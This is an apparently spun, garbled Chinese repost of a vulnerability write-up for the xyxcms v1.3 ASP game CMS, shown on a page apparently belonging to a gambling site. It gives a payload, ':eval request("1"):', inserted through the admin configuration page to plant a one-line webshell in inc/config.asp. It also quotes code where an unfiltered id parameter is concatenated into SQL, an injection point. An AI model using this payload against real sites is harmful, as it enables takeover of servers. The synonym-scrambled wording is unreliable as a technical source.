xyxcms v1.3 小游戏CMS 缝隙阐明脚本之家sina - AG环亚娱乐

xyxcms v1.3 小游戏CMS 缝隙阐明脚本之家sina

2019-01-31 10:47:25 | 作者: 尔容 | 标签: 小游戏,体系,办理 | 浏览: 1754

国内最专业的ASP网站内容办理体系-小游戏办理体系,他将是您轻松建站的首选利器。小游戏CMS体系对站点办理和发明修正都有优点,无论是CMS体系的易用性和功用的完善性,都处于抢先优势!网站的修正、发布、办理人员可轻松快捷的经过小游戏CMS体系来提交修正、批阅、发布内容。

  [xyxcms]
  版别信息:V1.3 正式版
  软件巨细:1.66M
  更新时刻:2010年8月6日
  官方:https://www.xyxcms.com/
  缝隙文件: cms.asp
  程序虽小。 总会遇到!
  轻视挂马者。!
  学习之用。 后果自负。
  后台拿webshell:
  admin/admin_config.asp
  网站地址: 刺进 ":eval request("1"):

仿制代码代码如下:
  inc/config.asp 一句话后门
  act=request("action")
  id=trim(request("id"))
  ................省掉
  if act="getding" then call getding
  ....................省掉
  sub getding
  id=request("id") 没过滤
  set rs=server.createobject("adodb.recordset")
  sql="select ding from flash where id="&id
  rs.open sql,conn,1,1
  if not rs.eof then
  if isnull(rs(0)) then
  response.Write(0)
  else
  response.Write(rs(0))
  end if
  else
  response.Write(0)
  end if
  rs.close
  set rs=nothing
  end sub


版权声明
本文来源于网络,版权归原作者所有,其内容与观点不代表AG环亚娱乐立场。转载文章仅为传播更有价值的信息,如采编人员采编有误或者版权原因,请与我们联系,我们核实后立即修改或删除。

猜您喜欢的文章